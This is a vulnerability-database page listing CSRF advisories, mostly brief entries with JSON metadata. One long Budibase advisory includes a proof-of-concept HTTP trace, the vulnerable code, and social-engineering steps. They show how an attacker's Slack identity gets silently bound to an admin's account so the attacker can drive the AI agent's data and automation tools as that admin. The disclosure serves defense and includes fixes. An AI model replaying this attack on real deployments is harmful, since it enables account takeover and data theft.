Common Weakness Enumeration

CWE-352

Allowed

Cross-Site Request Forgery (CSRF)

Abstraction: Compound · Status: Stable

The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.

14179 vulnerabilities reference this CWE, most recent first.

GHSA-V7GX-3C46-37V4

Vulnerability from github – Published: 2022-05-17 04:45 – Updated: 2022-05-17 04:45
VLAI
Details

Cross-site request forgery (CSRF) vulnerability in DDSN Interactive cm3 Acora CMS 6.0.6/1a, 6.0.2/1a, 5.5.7/12b, 5.5.0/1b-p1, and possibly other versions, allows remote attackers to hijack the authentication of unspecified victims via unknown vectors.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2013-4726"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-04-25T17:12:00Z",
    "severity": "MODERATE"
  },
  "details": "Cross-site request forgery (CSRF) vulnerability in DDSN Interactive cm3 Acora CMS 6.0.6/1a, 6.0.2/1a, 5.5.7/12b, 5.5.0/1b-p1, and possibly other versions, allows remote attackers to hijack the authentication of unspecified victims via unknown vectors.",
  "id": "GHSA-v7gx-3c46-37v4",
  "modified": "2022-05-17T04:45:42Z",
  "published": "2022-05-17T04:45:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-4726"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/96665"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/122954/CM3-AcoraCMS-XSS-CSRF-Redirection-Disclosure.html"
    },
    {
      "type": "WEB",
      "url": "http://www.digitalsec.net/stuff/explt+advs/CM3.AcoraCMS.v6.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-V7HX-7773-729X

Vulnerability from github – Published: 2021-12-14 00:00 – Updated: 2022-10-25 19:00
VLAI
Details

The Like Button Rating ♥ LikeBtn WordPress plugin before 2.6.38 does not have any authorisation and CSRF checks in the likebtn_export_votes AJAX action, which could allow any authenticated user, such as subscriber, to get a list of email and IP addresses of people who liked content from the blog.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-24945"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-13T11:15:00Z",
    "severity": "HIGH"
  },
  "details": "The Like Button Rating \u00e2\u2122\u00a5 LikeBtn WordPress plugin before 2.6.38 does not have any authorisation and CSRF checks in the likebtn_export_votes AJAX action, which could allow any authenticated user, such as subscriber, to get a list of email and IP addresses of people who liked content from the blog.",
  "id": "GHSA-v7hx-7773-729x",
  "modified": "2022-10-25T19:00:30Z",
  "published": "2021-12-14T00:00:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-24945"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/d7618061-a7fa-4da4-9384-be19bc5e8548"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V7HX-8QH9-XG29

Vulnerability from github – Published: 2023-10-06 00:30 – Updated: 2023-10-06 00:30
VLAI
Details

A vulnerability classified as problematic has been found in WP Ultimate CSV Importer Plugin 3.7.2 on WordPress. This affects an unknown part. The manipulation leads to cross-site request forgery. It is possible to initiate the attack remotely. Upgrading to version 3.7.3 is able to address this issue. The identifier of the patch is 13c30af721d3f989caac72dd0f56cf0dc40fad7e. It is recommended to upgrade the affected component. The identifier VDB-241317 was assigned to this vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2015-10125"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-05T23:15:09Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability classified as problematic has been found in WP Ultimate CSV Importer Plugin 3.7.2 on WordPress. This affects an unknown part. The manipulation leads to cross-site request forgery. It is possible to initiate the attack remotely. Upgrading to version 3.7.3 is able to address this issue. The identifier of the patch is 13c30af721d3f989caac72dd0f56cf0dc40fad7e. It is recommended to upgrade the affected component. The identifier VDB-241317 was assigned to this vulnerability.",
  "id": "GHSA-v7hx-8qh9-xg29",
  "modified": "2023-10-06T00:30:22Z",
  "published": "2023-10-06T00:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-10125"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wp-plugins/wp-ultimate-csv-importer/commit/13c30af721d3f989caac72dd0f56cf0dc40fad7e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wp-plugins/wp-ultimate-csv-importer/releases/tag/3.7.3"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.241317"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.241317"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V7J3-6P47-QXC7

Vulnerability from github – Published: 2026-07-02 12:31 – Updated: 2026-07-02 12:31
VLAI
Details

Unauthenticated Cross Site Request Forgery (CSRF) in pCloud WP Backup <= 2.0.2 versions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-57757"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-02T12:17:41Z",
    "severity": "HIGH"
  },
  "details": "Unauthenticated Cross Site Request Forgery (CSRF) in pCloud WP Backup \u003c= 2.0.2 versions.",
  "id": "GHSA-v7j3-6p47-qxc7",
  "modified": "2026-07-02T12:31:02Z",
  "published": "2026-07-02T12:31:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57757"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/pcloud-wp-backup/vulnerability/wordpress-pcloud-wp-backup-plugin-2-0-2-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V7J3-P7JM-F2CP

Vulnerability from github – Published: 2024-05-16 15:31 – Updated: 2024-07-03 18:42
VLAI
Details

idccms v1.35 was discovered to contain a Cross-Site Request Forgery (CSRF) via the component admin/banner_deal.php?mudi=add

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-34958"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-16T15:15:48Z",
    "severity": "MODERATE"
  },
  "details": "idccms v1.35 was discovered to contain a Cross-Site Request Forgery (CSRF) via the component admin/banner_deal.php?mudi=add",
  "id": "GHSA-v7j3-p7jm-f2cp",
  "modified": "2024-07-03T18:42:06Z",
  "published": "2024-05-16T15:31:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34958"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Gr-1m/cms/blob/main/2.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V7J5-VC4M-723W

Vulnerability from github – Published: 2026-06-22 23:08 – Updated: 2026-06-22 23:08
VLAI
Summary
Budibase has an Account Impersonation Issue — Chat Identity Link Hijacking via Missing Consent & CSRF
Details

Title

Chat Identity Link Hijacking — Attacker Can Silently Map Their Slack/Discord Identity to Any Authenticated Budibase User's Account

Severity

High — CVSS 3.1: AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N = 7.3

Affected Product

  • Product: Budibase
  • Version: 3.37.2 (introduced in this version)
  • Component: packages/server/src/api/controllers/ai/chatIdentityLinks.ts
  • Endpoint: GET /api/chat-links/:instance/:token/handoff

Vulnerability Type

  • CWE-352: Cross-Site Request Forgery
  • CWE-284: Improper Access Control

Vulnerability Description

GET /api/chat-links/:instance/:token/handoff is a public endpoint (no auth required) that performs a permanent, state-changing operation: it binds an external chat identity (Slack/Discord/MS Teams) to an authenticated Budibase user account, with no consent UI and no CSRF protection.

The session token in the URL is created by the attacker (from their own /link slash command) and embeds the attacker's externalUserId. When an authenticated Budibase victim visits the URL, their account is silently and permanently linked to the attacker's Slack/Discord identity. The server responds with "Authentication succeeded." — no indication of what was linked.

Route Registration

// packages/server/src/api/routes/chat.ts:22
router.get(
  "/api/chat-links/:instance/:token/handoff",
  controller.handoffChatLinkSession   // registered in publicRoutes — zero auth middleware
)

Vulnerable Controller (full function)

// packages/server/src/api/controllers/ai/chatIdentityLinks.ts:61–110
export async function handoffChatLinkSession(
  ctx: UserCtx<void, string, { instance: string; token: string }>
) {
  const token = resolveToken(ctx.params.token)
  const session = await sdk.ai.chatIdentityLinks.getChatIdentityLinkSession(token)
  if (!session) {
    throw new HTTPError("Link token is invalid or has expired", 400)
  }
  assertSessionMatchesInstance({ workspaceId: session.workspaceId, instance: ctx.params.instance })

  if (!ctx.isAuthenticated) {
    // Unauthenticated: set return URL cookie, redirect to login
    // After login, same URL is visited again → attack completes silently
    utils.setCookie(ctx,
      `/api/chat-links/${ctx.params.instance}/${token}/handoff`,
      "budibase:returnurl",
      { sign: false }  // ← unsigned cookie, but not an open redirect
    )
    ctx.redirect("/builder/auth/login")
    return
  }

  const currentGlobalUserId = getCurrentGlobalUserId(ctx)
  const consumedSession = await sdk.ai.chatIdentityLinks.consumeChatIdentityLinkSession(token)

  // ↓↓↓ THE VULNERABLE WRITE — no consent check, no CSRF token ↓↓↓
  await sdk.ai.chatIdentityLinks.upsertChatIdentityLink({
    provider: consumedSession.provider,
    externalUserId: consumedSession.externalUserId,  // ← ATTACKER's Slack ID
    externalUserName: consumedSession.externalUserName,
    teamId: consumedSession.teamId,
    globalUserId: currentGlobalUserId,   // ← VICTIM's Budibase user ID
    linkedBy: currentGlobalUserId,
  })

  ctx.type = "text/html"
  ctx.body = renderLinkSuccessPage()  // ← "Authentication succeeded." — no disclosure to user
}

Proof of Concept — Annotated HTTP Trace

Setup

Role Identity
Attacker Slack user U_ATTACKER (e.g. UA12345678), Budibase tenant acme, workspace ID ws_abc123
Victim Budibase admin, session cookie budibase:session=VICTIM_SESSION

Step 1 — Attacker triggers /link in Slack

Attacker types /link to the Budibase Slack bot. Budibase server creates a Redis session:

Redis key: chatIdentityLinkSession:tok_xxxxxxxxxxxxxxxx

Redis value (exact structure from ChatIdentityLinkSession interface):

{
  "token": "tok_xxxxxxxxxxxxxxxx",
  "tenantId": "acme",
  "workspaceId": "ws_abc123",
  "provider": "slack",
  "externalUserId": "UA12345678",
  "externalUserName": "attacker",
  "teamId": "T_ACME_SLACK",
  "createdAt": "2026-05-02T10:00:00.000Z",
  "expiresAt": "2026-05-02T10:10:00.000Z"
}

Slack DM sent privately to attacker:

Link your Slack account to continue chatting with this agent.
https://budibase.company.com/api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff

Key observation: This URL embeds the attacker's own externalUserId inside the token. The attacker has full control over which identity gets linked.


Step 2 — Attacker forwards URL to victim

Attacker posts in the company Slack:

@admin please click this to connect your Budibase account for AI agent access:
https://budibase.company.com/api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff

Step 3 — Victim clicks link (authenticated)

HTTP Request (victim's browser):

GET /api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff HTTP/1.1
Host: budibase.company.com
Cookie: budibase:session=VICTIM_SESSION

HTTP Response:

HTTP/1.1 200 OK
Content-Type: text/html

<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Authentication succeeded</title>
  </head>
  <body>
    <p>Authentication succeeded.</p>
    <script>
      if (window.opener && !window.opener.closed) {
        try { window.opener.focus(); window.close() } catch (error) {}
      }
    </script>
  </body>
</html>

The victim sees "Authentication succeeded." with no mention of Slack, no mention of attacker, no mention of what capabilities were granted.

CouchDB global-db document written immediately after (exact structure from upsertChatIdentityLink):

{
  "_id": "chatidentitylink_acme_slack_T_ACME_SLACK_UA12345678",
  "tenantId": "acme",
  "provider": "slack",
  "externalUserId": "UA12345678",
  "globalUserId": "ro_global_us_VICTIM_ADMIN_ID",
  "linkedAt": "2026-05-02T10:00:42.000Z",
  "linkedBy": "ro_global_us_VICTIM_ADMIN_ID",
  "externalUserName": "attacker",
  "teamId": "T_ACME_SLACK",
  "createdAt": "2026-05-02T10:00:42.000Z",
  "updatedAt": "2026-05-02T10:00:42.000Z"
}

The mapping is now permanent. externalUserId = UA12345678 (attacker) → globalUserId = ro_global_us_VICTIM_ADMIN_ID (victim).


Step 4 — Attacker impersonates victim via AI agent

Attacker sends any message to the Budibase Slack bot from their own account (UA12345678).

The chat handler resolves the identity:

// packages/server/src/api/controllers/webhook/chatHandler.ts:421
const existingLink = await sdk.ai.chatIdentityLinks.getChatIdentityLink({
  provider: AgentChannelProvider.SLACK,
  externalUserId: "UA12345678",     // ← attacker's Slack ID
  teamId: "T_ACME_SLACK",
})
// existingLink.globalUserId = "ro_global_us_VICTIM_ADMIN_ID"

const linkedUser = await getGlobalUser("ro_global_us_VICTIM_ADMIN_ID")
// All agent tool calls now execute with victim admin's permissions

The attacker can now ask the agent:

"Show me all rows in the Customers table" "Trigger the 'Send Invoice' automation for customer ID 42" "What files are in the knowledge base?"

Each request runs with the victim admin's identity and permissions. The victim has no indication this is happening.


Step 3b — Variant: Victim Not Yet Authenticated

If the victim is not currently logged in when they click the URL:

HTTP Request:

GET /api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff HTTP/1.1
Host: budibase.company.com

HTTP Response:

HTTP/1.1 302 Found
Location: /builder/auth/login
Set-Cookie: budibase:returnurl=%2Fapi%2Fchat-links%2Fws_abc123%2Ftok_xxxxxxxxxxxxxxxx%2Fhandoff; Path=/

After the victim logs in, the browser follows the return URL and the attack completes identically to Step 3.


Impact

Dimension Detail
Confidentiality High — attacker reads all table rows, files, and knowledge base data accessible to victim
Integrity High — attacker writes rows and triggers automations (email, external API calls, record creation) as victim
Availability None
Auth required Low — attacker only needs a Slack/Discord account in the same workspace as the Budibase bot
User interaction Required — victim clicks one link (trivial social engineering in any enterprise Slack)
Scope Unchanged — impact is within the victim's Budibase tenant
Persistence Permanent — the link document persists in CouchDB until explicitly deleted; re-exploitation survives token rotation

Why Severity Is High (Not Medium)

The social engineering bar is near zero in enterprise Slack: - The link looks like a legitimate Budibase URL on the company domain - The message pattern ("link your account for AI agent access") matches the product's own UX - A victim who clicks and sees "Authentication succeeded." has no reason to be suspicious - The effect is permanent and silent — the victim never learns their account was linked

Combined with admin-level access to all application data and automation triggers, this meets the bar for High.


Remediation

Minimum Fix — Add Consent Page

Convert the handoff to a two-step flow:

GET  /api/chat-links/:instance/:token/handoff
  → Show consent page: "You are linking your Budibase account to
    [externalUserName]'s Slack identity ([provider]).
    This allows them to interact with AI agents as you. [Confirm] [Cancel]"

POST /api/chat-links/:instance/:token/handoff  (with CSRF token)
  → Perform the upsertChatIdentityLink() write

Moving the write to POST removes it from publicRoutes, making Budibase's existing CSRF middleware apply automatically.

Additional Hardening

  • Show the externalUserName and provider on the consent page
  • Log the event to the audit trail (both identities, timestamp, IP)
  • Optionally restrict linking to users with explicit permission (not all roles)

Credits, Vishal Kumar B https://github.com/VishaaLlKumaaRr

References

  • packages/server/src/api/routes/chat.ts:22 — public route registration
  • packages/server/src/api/controllers/ai/chatIdentityLinks.ts:61–110 — full vulnerable controller
  • packages/server/src/sdk/workspace/ai/chatIdentityLinks.ts:135–165 — session creation (embeds attacker's externalUserId)
  • packages/server/src/sdk/workspace/ai/chatIdentityLinks.ts:202–247 — upsertChatIdentityLink (permanent write)
  • packages/server/src/api/controllers/webhook/chatHandler.ts:421 — identity resolution during agent message handling
  • packages/server/src/ai/tools/budibase/automations.ts — automation trigger capability
  • packages/server/src/ai/tools/budibase/rows.ts — row read/write capability
  • packages/types/src/sdk/chatIdentityLinks.ts — session + link type definitions
  • CWE-352: Cross-Site Request Forgery
  • CWE-284: Improper Access Control
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.39.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50132"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-22T23:08:23Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Title\n\n**Chat Identity Link Hijacking \u2014 Attacker Can Silently Map Their Slack/Discord Identity to Any Authenticated Budibase User\u0027s Account**\n\n## Severity\n\n**High** \u2014 CVSS 3.1: AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N = **7.3**\n\n## Affected Product\n\n- **Product:** Budibase\n- **Version:** 3.37.2 (introduced in this version)\n- **Component:** `packages/server/src/api/controllers/ai/chatIdentityLinks.ts`\n- **Endpoint:** `GET /api/chat-links/:instance/:token/handoff`\n\n\n## Vulnerability Type\n\n- CWE-352: Cross-Site Request Forgery\n- CWE-284: Improper Access Control\n\n---\n\n## Vulnerability Description\n\n`GET /api/chat-links/:instance/:token/handoff` is a **public endpoint** (no auth required) that performs a permanent, state-changing operation: it binds an external chat identity (Slack/Discord/MS Teams) to an authenticated Budibase user account, with **no consent UI and no CSRF protection**.\n\nThe session token in the URL is created **by the attacker** (from their own `/link` slash command) and embeds **the attacker\u0027s `externalUserId`**. When an authenticated Budibase victim visits the URL, their account is silently and permanently linked to the attacker\u0027s Slack/Discord identity. The server responds with `\"Authentication succeeded.\"` \u2014 no indication of what was linked.\n\n### Route Registration\n\n```typescript\n// packages/server/src/api/routes/chat.ts:22\nrouter.get(\n  \"/api/chat-links/:instance/:token/handoff\",\n  controller.handoffChatLinkSession   // registered in publicRoutes \u2014 zero auth middleware\n)\n```\n\n### Vulnerable Controller (full function)\n\n```typescript\n// packages/server/src/api/controllers/ai/chatIdentityLinks.ts:61\u2013110\nexport async function handoffChatLinkSession(\n  ctx: UserCtx\u003cvoid, string, { instance: string; token: string }\u003e\n) {\n  const token = resolveToken(ctx.params.token)\n  const session = await sdk.ai.chatIdentityLinks.getChatIdentityLinkSession(token)\n  if (!session) {\n    throw new HTTPError(\"Link token is invalid or has expired\", 400)\n  }\n  assertSessionMatchesInstance({ workspaceId: session.workspaceId, instance: ctx.params.instance })\n\n  if (!ctx.isAuthenticated) {\n    // Unauthenticated: set return URL cookie, redirect to login\n    // After login, same URL is visited again \u2192 attack completes silently\n    utils.setCookie(ctx,\n      `/api/chat-links/${ctx.params.instance}/${token}/handoff`,\n      \"budibase:returnurl\",\n      { sign: false }  // \u2190 unsigned cookie, but not an open redirect\n    )\n    ctx.redirect(\"/builder/auth/login\")\n    return\n  }\n\n  const currentGlobalUserId = getCurrentGlobalUserId(ctx)\n  const consumedSession = await sdk.ai.chatIdentityLinks.consumeChatIdentityLinkSession(token)\n\n  // \u2193\u2193\u2193 THE VULNERABLE WRITE \u2014 no consent check, no CSRF token \u2193\u2193\u2193\n  await sdk.ai.chatIdentityLinks.upsertChatIdentityLink({\n    provider: consumedSession.provider,\n    externalUserId: consumedSession.externalUserId,  // \u2190 ATTACKER\u0027s Slack ID\n    externalUserName: consumedSession.externalUserName,\n    teamId: consumedSession.teamId,\n    globalUserId: currentGlobalUserId,   // \u2190 VICTIM\u0027s Budibase user ID\n    linkedBy: currentGlobalUserId,\n  })\n\n  ctx.type = \"text/html\"\n  ctx.body = renderLinkSuccessPage()  // \u2190 \"Authentication succeeded.\" \u2014 no disclosure to user\n}\n```\n\n---\n\n## Proof of Concept \u2014 Annotated HTTP Trace\n\n### Setup\n\n| Role | Identity |\n|---|---|\n| Attacker | Slack user `U_ATTACKER` (e.g. `UA12345678`), Budibase tenant `acme`, workspace ID `ws_abc123` |\n| Victim | Budibase admin, session cookie `budibase:session=VICTIM_SESSION` |\n\n---\n\n### Step 1 \u2014 Attacker triggers `/link` in Slack\n\nAttacker types `/link` to the Budibase Slack bot. Budibase server creates a Redis session:\n\n**Redis key:** `chatIdentityLinkSession:tok_xxxxxxxxxxxxxxxx`\n\n**Redis value (exact structure from `ChatIdentityLinkSession` interface):**\n```json\n{\n  \"token\": \"tok_xxxxxxxxxxxxxxxx\",\n  \"tenantId\": \"acme\",\n  \"workspaceId\": \"ws_abc123\",\n  \"provider\": \"slack\",\n  \"externalUserId\": \"UA12345678\",\n  \"externalUserName\": \"attacker\",\n  \"teamId\": \"T_ACME_SLACK\",\n  \"createdAt\": \"2026-05-02T10:00:00.000Z\",\n  \"expiresAt\": \"2026-05-02T10:10:00.000Z\"\n}\n```\n\nSlack DM sent privately to attacker:\n```\nLink your Slack account to continue chatting with this agent.\nhttps://budibase.company.com/api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff\n```\n\n**Key observation:** This URL embeds the attacker\u0027s own `externalUserId` inside the token. The attacker has full control over which identity gets linked.\n\n---\n\n### Step 2 \u2014 Attacker forwards URL to victim\n\nAttacker posts in the company Slack:\n```\n@admin please click this to connect your Budibase account for AI agent access:\nhttps://budibase.company.com/api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff\n```\n\n---\n\n### Step 3 \u2014 Victim clicks link (authenticated)\n\n**HTTP Request (victim\u0027s browser):**\n```http\nGET /api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff HTTP/1.1\nHost: budibase.company.com\nCookie: budibase:session=VICTIM_SESSION\n```\n\n**HTTP Response:**\n```http\nHTTP/1.1 200 OK\nContent-Type: text/html\n\n\u003c!doctype html\u003e\n\u003chtml lang=\"en\"\u003e\n  \u003chead\u003e\n    \u003cmeta charset=\"utf-8\"\u003e\n    \u003cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1\"\u003e\n    \u003ctitle\u003eAuthentication succeeded\u003c/title\u003e\n  \u003c/head\u003e\n  \u003cbody\u003e\n    \u003cp\u003eAuthentication succeeded.\u003c/p\u003e\n    \u003cscript\u003e\n      if (window.opener \u0026\u0026 !window.opener.closed) {\n        try { window.opener.focus(); window.close() } catch (error) {}\n      }\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\nThe victim sees \"Authentication succeeded.\" with no mention of Slack, no mention of `attacker`, no mention of what capabilities were granted.\n\n**CouchDB global-db document written immediately after (exact structure from `upsertChatIdentityLink`):**\n\n```json\n{\n  \"_id\": \"chatidentitylink_acme_slack_T_ACME_SLACK_UA12345678\",\n  \"tenantId\": \"acme\",\n  \"provider\": \"slack\",\n  \"externalUserId\": \"UA12345678\",\n  \"globalUserId\": \"ro_global_us_VICTIM_ADMIN_ID\",\n  \"linkedAt\": \"2026-05-02T10:00:42.000Z\",\n  \"linkedBy\": \"ro_global_us_VICTIM_ADMIN_ID\",\n  \"externalUserName\": \"attacker\",\n  \"teamId\": \"T_ACME_SLACK\",\n  \"createdAt\": \"2026-05-02T10:00:42.000Z\",\n  \"updatedAt\": \"2026-05-02T10:00:42.000Z\"\n}\n```\n\nThe mapping is now permanent. `externalUserId = UA12345678` (attacker) \u2192 `globalUserId = ro_global_us_VICTIM_ADMIN_ID` (victim).\n\n---\n\n### Step 4 \u2014 Attacker impersonates victim via AI agent\n\nAttacker sends any message to the Budibase Slack bot from their own account (`UA12345678`).\n\nThe chat handler resolves the identity:\n\n```typescript\n// packages/server/src/api/controllers/webhook/chatHandler.ts:421\nconst existingLink = await sdk.ai.chatIdentityLinks.getChatIdentityLink({\n  provider: AgentChannelProvider.SLACK,\n  externalUserId: \"UA12345678\",     // \u2190 attacker\u0027s Slack ID\n  teamId: \"T_ACME_SLACK\",\n})\n// existingLink.globalUserId = \"ro_global_us_VICTIM_ADMIN_ID\"\n\nconst linkedUser = await getGlobalUser(\"ro_global_us_VICTIM_ADMIN_ID\")\n// All agent tool calls now execute with victim admin\u0027s permissions\n```\n\nThe attacker can now ask the agent:\n\n\u003e \"Show me all rows in the Customers table\"\n\u003e \"Trigger the \u0027Send Invoice\u0027 automation for customer ID 42\"\n\u003e \"What files are in the knowledge base?\"\n\nEach request runs with the victim admin\u0027s identity and permissions. The victim has no indication this is happening.\n\n---\n\n### Step 3b \u2014 Variant: Victim Not Yet Authenticated\n\nIf the victim is not currently logged in when they click the URL:\n\n**HTTP Request:**\n```http\nGET /api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff HTTP/1.1\nHost: budibase.company.com\n```\n\n**HTTP Response:**\n```http\nHTTP/1.1 302 Found\nLocation: /builder/auth/login\nSet-Cookie: budibase:returnurl=%2Fapi%2Fchat-links%2Fws_abc123%2Ftok_xxxxxxxxxxxxxxxx%2Fhandoff; Path=/\n```\n\nAfter the victim logs in, the browser follows the return URL and the attack completes identically to Step 3.\n\n---\n\n## Impact\n\n| Dimension | Detail |\n|---|---|\n| Confidentiality | **High** \u2014 attacker reads all table rows, files, and knowledge base data accessible to victim |\n| Integrity | **High** \u2014 attacker writes rows and triggers automations (email, external API calls, record creation) as victim |\n| Availability | None |\n| Auth required | **Low** \u2014 attacker only needs a Slack/Discord account in the same workspace as the Budibase bot |\n| User interaction | **Required** \u2014 victim clicks one link (trivial social engineering in any enterprise Slack) |\n| Scope | Unchanged \u2014 impact is within the victim\u0027s Budibase tenant |\n| Persistence | **Permanent** \u2014 the link document persists in CouchDB until explicitly deleted; re-exploitation survives token rotation |\n\n---\n\n## Why Severity Is High (Not Medium)\n\nThe social engineering bar is near zero in enterprise Slack:\n- The link looks like a legitimate Budibase URL on the company domain\n- The message pattern (\"link your account for AI agent access\") matches the product\u0027s own UX\n- A victim who clicks and sees \"Authentication succeeded.\" has no reason to be suspicious\n- The effect is **permanent and silent** \u2014 the victim never learns their account was linked\n\nCombined with admin-level access to all application data and automation triggers, this meets the bar for High.\n\n---\n\n## Remediation\n\n### Minimum Fix \u2014 Add Consent Page\n\nConvert the handoff to a two-step flow:\n\n```\nGET  /api/chat-links/:instance/:token/handoff\n  \u2192 Show consent page: \"You are linking your Budibase account to\n    [externalUserName]\u0027s Slack identity ([provider]).\n    This allows them to interact with AI agents as you. [Confirm] [Cancel]\"\n\nPOST /api/chat-links/:instance/:token/handoff  (with CSRF token)\n  \u2192 Perform the upsertChatIdentityLink() write\n```\n\nMoving the write to `POST` removes it from `publicRoutes`, making Budibase\u0027s existing CSRF middleware apply automatically.\n\n### Additional Hardening\n\n- Show the `externalUserName` and provider on the consent page\n- Log the event to the audit trail (both identities, timestamp, IP)\n- Optionally restrict linking to users with explicit permission (not all roles)\n\n---\nCredits,\nVishal Kumar B\nhttps://github.com/VishaaLlKumaaRr\n\n## References\n\n- `packages/server/src/api/routes/chat.ts:22` \u2014 public route registration\n- `packages/server/src/api/controllers/ai/chatIdentityLinks.ts:61\u2013110` \u2014 full vulnerable controller\n- `packages/server/src/sdk/workspace/ai/chatIdentityLinks.ts:135\u2013165` \u2014 session creation (embeds attacker\u0027s externalUserId)\n- `packages/server/src/sdk/workspace/ai/chatIdentityLinks.ts:202\u2013247` \u2014 upsertChatIdentityLink (permanent write)\n- `packages/server/src/api/controllers/webhook/chatHandler.ts:421` \u2014 identity resolution during agent message handling\n- `packages/server/src/ai/tools/budibase/automations.ts` \u2014 automation trigger capability\n- `packages/server/src/ai/tools/budibase/rows.ts` \u2014 row read/write capability\n- `packages/types/src/sdk/chatIdentityLinks.ts` \u2014 session + link type definitions\n- CWE-352: Cross-Site Request Forgery\n- CWE-284: Improper Access Control",
  "id": "GHSA-v7j5-vc4m-723w",
  "modified": "2026-06-22T23:08:23Z",
  "published": "2026-06-22T23:08:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-v7j5-vc4m-723w"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/pull/18793"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/commit/cf66fb45d27402bace312d85616ddd4257f3a5aa"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Budibase has an Account Impersonation Issue \u2014 Chat Identity Link Hijacking via Missing Consent \u0026 CSRF"
}

GHSA-V7J7-WQ78-R9FC

Vulnerability from github – Published: 2023-12-19 00:30 – Updated: 2026-04-28 21:33
VLAI
Details

Missing Authorization, Cross-Site Request Forgery (CSRF) vulnerability in Roland Barker, xnau webdesign Participants Database allows Accessing Functionality Not Properly Constrained by ACLs, Cross Site Request Forgery.This issue affects Participants Database: from n/a through 2.5.5.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-48751"
  ],
  "database_specific": {
    "cwe_ids": [
